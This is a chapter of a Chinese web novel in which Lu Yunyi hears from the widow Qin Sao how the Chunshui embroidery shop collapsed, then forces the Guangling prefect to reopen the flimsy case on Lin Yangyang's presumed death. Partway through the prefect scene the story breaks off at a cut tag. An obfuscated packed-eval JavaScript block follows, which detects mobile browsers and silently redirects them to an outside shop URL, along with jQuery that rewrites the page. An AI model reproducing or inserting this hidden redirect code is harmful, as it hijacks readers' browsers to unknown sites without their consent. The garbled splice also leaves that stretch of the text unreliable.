那两个男人走后，屋里静了下来。
秦嫂还蹲在地上，把散落的丝线一根一根捡回木箱里。她的手很粗，指节上有裂口，捡那些细线时却小心得很，像捡的不是线，是碎了的日子。
陆云逸站在一旁，没有催她。
屋子很小。
一张旧床，一张矮桌，一个木箱，灶台上放着半锅冷粥。墙边挂着几件旧衣，风从门缝里钻进来，吹得灯火一晃一晃。
这就是秦嫂原来的住处。
陆云逸从前在春水绣坊见她，总觉得她像一棵粗壮的树。她站在铺子门口，能骂走闲汉，能同客人讨价还价，能把阿青吓得乖乖剪线头，也能在别人慌乱时把铜钱数得清清楚楚。
可如今她蹲在这间小屋里，背忽然显得很弯。
春水绣坊一散，她也只是一个独居的寡妇。
秦嫂把最后一束线放进箱中，才抬头看他。
“公子，坐吧。”
屋里没有好椅子，只有一张矮凳。
陆云逸坐下。
李真站在门边，有些局促。他到这时也不知道陆云逸究竟是什么身份，只知道这个年轻公子曾花重金救过林鸯鸯，又帮她开了春水绣坊。李老先生说过，这样的人最好不要得罪。
秦嫂看了李真一眼，道：“你也坐。站在那里像门神。”
李真这才坐到门槛边。
秦嫂低头看着那只木箱，声音哑得厉害。
“这些东西原本都在铺子里。铺主催着收铺，我怕落到别人手里，就能搬多少搬多少。可我一个人搬不动，只捡了些轻的回来。”
箱子里有丝线、碎布、几张裁了一半的绣样，还有一本旧账册。
陆云逸问：“账册怎么在你这里？”
“李老先生那里还有一本。”秦嫂说，“这本是我们平日对货用的，林姑娘常翻。她怕自己不识字，便让李老先生把字写大些。进、出、欠、水、甜……她一遍一遍认。”
秦嫂说到这里，忽然停住。
过了很久，她才低声道：“她刚会认几个字，人就没了。”
陆云逸没有接话。
秦嫂抬手抹了一把眼睛，又像怕自己哭出来似的，立刻粗声道：“我不信那具尸体就是她。”
陆云逸看着她。
“为何？”
“脸都看不清，凭什么说是她？”秦嫂猛地抬头，“身上衣裳像，身量像，走失的地方也像，这些就能定？广陵城里每天穿素衣的女子有多少？身量相近的又有多少？”
李真低声道：“官府说……”
秦嫂立刻骂道：“官府说！官府还说阿青是家里人带回去，旁人管不着呢！”
李真不说话了。
秦嫂胸口起伏，过了好一会儿才压下火气。
“公子，我去看过。那尸身泡坏了，脸上又被芦苇和石头划得乱七八糟。林姑娘左腕内侧有一道旧疤，我记得清清楚楚。可那尸身的手腕被水泡得发胀，仵作说看不清。我说看不清就不能认，差役说，除了她还能是谁？”
除了她还能是谁。
这话李真说过一次，秦嫂又说一次。
陆云逸听着，心里慢慢冷下去。
这不是查案。
这是找一个说得过去的答案。
“你没有签认尸文书？”他问。
秦嫂冷笑：“我一个外人，签不签有什么用？她无父无母，无夫无子，官府说我是铺中雇妇，不是亲眷。我不认，他们照样能结案。”
“李老先生呢？”
“李老先生也不认。”秦嫂道，“可他年纪大了，站都站不稳。人家问他，你凭什么不认？他答不上来。”
秦嫂的声音又低下去。
“我们都答不上来。”
屋里静了一会儿。
窗外有狗叫声，从巷子那头传来，很快又没了。
陆云逸问：“其他人呢？”
秦嫂低下头，粗糙的手指在木箱边缘摩挲着。
“散了。”
她说得很轻。
可这个字比骂声还重。
“阿青被她家里人拖回去了。她哭着不肯走，抓着门框，指甲都劈了。她爹说，这是家事。差役就在旁边，也说是家事。后来说已经许了人，城外一个鳏夫，年纪比她爹还大。”
秦嫂说到这里，眼睛红得吓人。
“周婶去拦，被推倒在地。她原本眼神就不好，后来又病了一场。回儿子家时，儿媳关了半日门不让进，说她在春水绣坊惹了晦气。”
李真低下头。
秦嫂继续道：“刘娘子回城西了。她娘还病着，离不开人。铺子散了，她又接些零活，工钱比从前还低。何娘子没地方去，在河边旧棚里住了几日，替人洗菜洗衣，手泡得发白。”
她顿了顿。
“我原想把铺子撑下去。”
这句话一出来，屋里几个人都沉默了。
“我真想撑下去。”秦嫂的声音忽然低了，“我想，林姑娘万一哪日回来了，见铺子还在，总能有个地方落脚。可撑不住。官府来问，街坊来躲，铺主来催，客人不敢进门。阿青被拖走，周婶病倒，刘娘子走了，何娘子连饭都吃不上。”
她抬头看陆云逸。
“公子，铺子不是一下子倒的。”
她伸手从箱子里拈起一根线。
“是这样，一根一根拆的。”
陆云逸看着那根线。
他想起春水绣坊刚开张时，林鸯鸯坐在灯下，把丝线一束一束分好。那时她说，账要清，线也要清。线乱了，可以慢慢理；账乱了，人心也会乱。
原来理起来那样难。
拆散却这样容易。
秦嫂把线放回箱子里，又取出一只布包。
“这是林姑娘留下的。我原本想自己收着，可我怕保不住。那些人今日敢来抢布，明日就敢来翻箱子。”
她把布包递给陆云逸。
陆云逸接过。
布包不重，却像一块石头压在手里。
里面是几封信。
都是他写给林鸯鸯的。
还有几张临字纸。
水。
账。
欠。
安。
想活的人很多。
最下面压着一张纸。
纸上写着一个歪斜的字。
甜。
陆云逸看着那个字，许久没有动。
秦嫂哑声道：“这是她最后临的。她说，等公子下封信来，要给公子看。她说这回比上次好。”
陆云逸把那张纸拿起来。
确实比上次好。
横还是不稳，竖也有些歪，可已经能看清了。
甜。
一个六岁就被人卖掉的孩子，费了这么多年，才终于把自己的名字写回来一点。
陆云逸慢慢把纸折好，放进怀里。
他站起身。
秦嫂抬头：“公子去哪儿？”
“府衙。”
秦嫂一怔，随即也要起身。
“我跟你去。”
“不必。”
秦嫂急了：“我也去！他们说那是林姑娘，我不认。他们说案子结了，我也不认。”
陆云逸看着她。
秦嫂眼睛通红。
“我没读过书，不懂律法，也不会说漂亮话。可我知道，人不能这么没了。铺子也不能这么散了。”
陆云逸道：“你去了，他们只会说你是雇妇，不是亲眷。”
秦嫂像被戳中痛处，一下哑了。
陆云逸又道：“我去。”
秦嫂看着他。
她并不知道陆云逸真正的身份。她只知道这个公子有钱，有来历，能让醉春楼交出身契，也能替林鸯鸯办良籍。
可官府不同。
官府不是醉春楼，也不是铺主，更不是巷子里抢布的闲汉。
秦嫂低声道：“公子，官府未必听你的。”
陆云逸道：“总要让他们听一回。”
他说完，转身出了门。
李真忙跟出来：“公子，我带路。”
陆云逸摇头。
“你留下照看秦嫂。”
李真一怔。
陆云逸已经走进夜色里。
……
广陵府衙在城中最宽的一条街上。
白日里这里人来人往，到了夜里便显得冷清。高大的门楼立在石阶上，门口两盏灯笼被风吹得轻轻晃动。石狮子蹲在两侧，嘴张着，像要吞人。
陆云逸站在府衙门前，忽然想起自己替林鸯鸯办良籍那日。
那时他也来过这里。
小吏绕来绕去，推说难办。后来他拿出明亲王府的名帖，事情便忽然变得好办。
那时他还以为，身份至少能做一点事。
如今他又来了。
不是为了办一张户帖。
是为了一个已经被官府认定死亡的人。
守门的差役见他夜里来，皱眉道：“何事？”
陆云逸道：“我要见知府。”
差役笑了：“这时辰，知府大人岂是你想见就见的？”
陆云逸取出名帖。
那差役原本不耐烦，接过一看，脸色瞬间变了。
明亲王府。
他抬头看陆云逸，再低头看名帖，手都僵住了。
不多时，府衙内灯火一盏盏亮起。
广陵知府披着外袍匆匆出来，身后跟着主簿、书吏和几个还没睡醒的差役。众人见了陆云逸，齐齐行礼。
“小王爷深夜驾临，下官有失远迎。”
陆云逸看着他。
原来这便是身份的用处。
几日前秦嫂跪在府衙门口，也只换来几个差役的不耐烦。如今他只递出一张名帖，知府便亲自迎了出来。
陆云逸忽然觉得荒唐。
可他没有笑。
“我要看春水绣坊林鸯鸯一案的案卷。”
知府脸色微微一变。
主簿也抬头看了他一眼。
陆云逸道：“现在。”
知府不敢多问，忙命人去取案卷。
片刻后，案卷摆在了陆云逸面前。
很薄。
薄得几乎不像一条人命。
陆云逸翻开。
死者林氏，年约十五，春水绣坊中人。某日夜归未返，次日晨于小石桥外芦苇丛发现女尸。因衣饰、身量相近，且林氏当夜失踪，认定死者为林氏。尸身有伤，随身银钱遗失，疑为流匪劫财。因夜深无人见正犯，凶手逃散，暂作悬案。
暂作悬案。
陆云逸看着这四个字，手指慢慢收紧。
“尸体辨清了吗？”
知府低头道：“回小王爷，尸身发现时已经损坏，面目确有不清之处。”
“既然不清，为何认定是林鸯鸯？”
知府擦了擦额上的汗。
“林氏当夜失踪，发现尸身之处又在其归途附近，衣料、身量皆相似。铺中人虽有异议，但并无其他失踪女子报案。下官等据情判断……”
“据情判断。”陆云逸打断他。
知府声音低了下去。
陆云逸翻到仵作验格。
仵作写得含糊。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520934|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
脸面损坏。
手腕损坏。
身有伤痕。
死因疑为窒息。
是否受辱，未明。
“未明是什么意思？”陆云逸问。
知府脸色难看。
“因尸身损坏，仵作不敢妄断。”
“不敢妄断，却敢断她是林鸯鸯。”
屋里无人敢说话。
陆云逸又翻供词。
陈家门房说，林鸯鸯申时末离开。
陈家管事说，她离开时并无异状。
桥边茶摊说，似乎见过一个素衣女子经过。
又有一人说，曾在小石桥附近见过几个闲汉饮酒，但不识姓名。
供词到这里便断了。
“那几个闲汉呢？”陆云逸问。
知府道：“差役去查时，人已经不见了。”
“为何不继续查？”
知府苦着脸道：“小王爷，此案已过去两个月。那几人原本就是游手好闲之辈，未必是广陵本地人。案发后便没了踪迹，如今再查，实在难寻。”
陆云逸抬头看他。
“陈家呢？”
知府忙道：“陈家上下供词一致。林氏离开时尚好，门房、管事皆可作证。陈家在广陵也是有头有脸的人家，实在没有理由……”
“有头有脸，便没有理由？”
知府哑住。
主簿在一旁小心道：“小王爷息怒。此案当时也不是全未查过。只是尸身已葬，现场被雨水冲过，芦苇丛又被行人踩乱。两月过去，证人散的散，忘的忘，许多痕迹都没了。如今即便重查，怕也……”
他没有说完。
可意思已经很清楚。
查不出来了。
陆云逸低头看着案卷。
薄薄几页纸。
里面没有林鸯鸯六岁被卖，没有她写下的“甜”，没有春水绣坊里那几个人的热汤和工钱，也没有秦嫂跪在府衙门口说自己不认。
纸上只有一个“林氏”。
一个“疑为”。
一个“暂作悬案”。
身份能让知府半夜披衣出来见他。
能让主簿把案卷取来。
能让差役低头不敢吭声。
可是身份不能让两个月前的雨停下。
不能让被踩乱的芦苇重新立起来。
不能让那几个消失的闲汉自己走回来。
不能让仵作把含糊的验格重新写明白。
更不能让那具辨不清面目的尸体开口说，自己到底是谁。
陆云逸忽然明白，自己来晚了。
或者说，从一开始就晚了。
他问：“坟在哪里？”
知府一怔。
“什么？”
“那具尸体，葬在哪里？”
知府连忙看向主簿。
主簿翻了翻记录，道：“城外乱葬地边上。因无人认领，原本要按无名女尸草葬。后来春水绣坊的秦氏和隔壁纸扎铺李老先生凑钱买了薄棺，才另埋在乱葬地旁。”
陆云逸合上案卷。
“重查。”
知府忙道：“下官一定重查。”
陆云逸看着他。
“我要的不是这句话。”
知府脸色发白。
陆云逸道：“陈家重新问。小石桥附近重新查。那几个闲汉，画影图形，四处追访。仵作重新录供。案卷另抄一份给我。”
知府连声应是。
他应得很快。
快得像只要应下，这件事便能过去。
陆云逸知道，他会查。
至少会做出查的样子。
可是案子已经过去两个月。
一个没有亲眷、没有势力、没有清楚尸身、没有明确证人的女子，死在雨后的芦苇丛里。官府当时不尽力，如今再尽力，也多半只剩下空架子。
他站起身。
知府和众人也忙起身。
“小王爷……”
陆云逸没有再看他们。
他走出府衙时，天边已经有了一点灰白。
长街空荡荡的。
石狮子仍旧蹲在门口，灯笼里的火快要灭了。清晨的风吹过来，带着河水的潮气。
陆云逸站在府衙石阶上，忽然觉得很冷。
他已经亮明了身份。
知府已经低了头。
案卷也会重开。
可林鸯鸯仍旧不知所踪。
或者说，官府说她已经死了。
秦嫂不认。
李老先生不认。
他也不愿认。
可是这世道认了。
这才是最可怕的地方。
一个人有没有活着，有时候竟不是由她自己决定，也不是由认识她的人决定，而是由一张案卷决定。
案卷说她死了，她便死了。
案卷说疑为流匪劫财，她便只是一个被流匪劫财而死的女子。
案卷说暂作悬案，她的冤屈便暂且搁在那里，等风吹，等雨打，等所有人慢慢忘记。
陆云逸低头，从怀中取出那张纸。
纸上写着一个歪斜的字。
甜。
他看了很久。
然后把纸重新收好，往城外走去。
他要去看那座坟。
看一看官府替林鸯鸯认下的那个归处。
可是走下石阶时，他心里又有一个声音很轻地响起来。
那声音像林鸯鸯，又不像林鸯鸯。
她说：
“公子，你看。”
“他们说我死了。”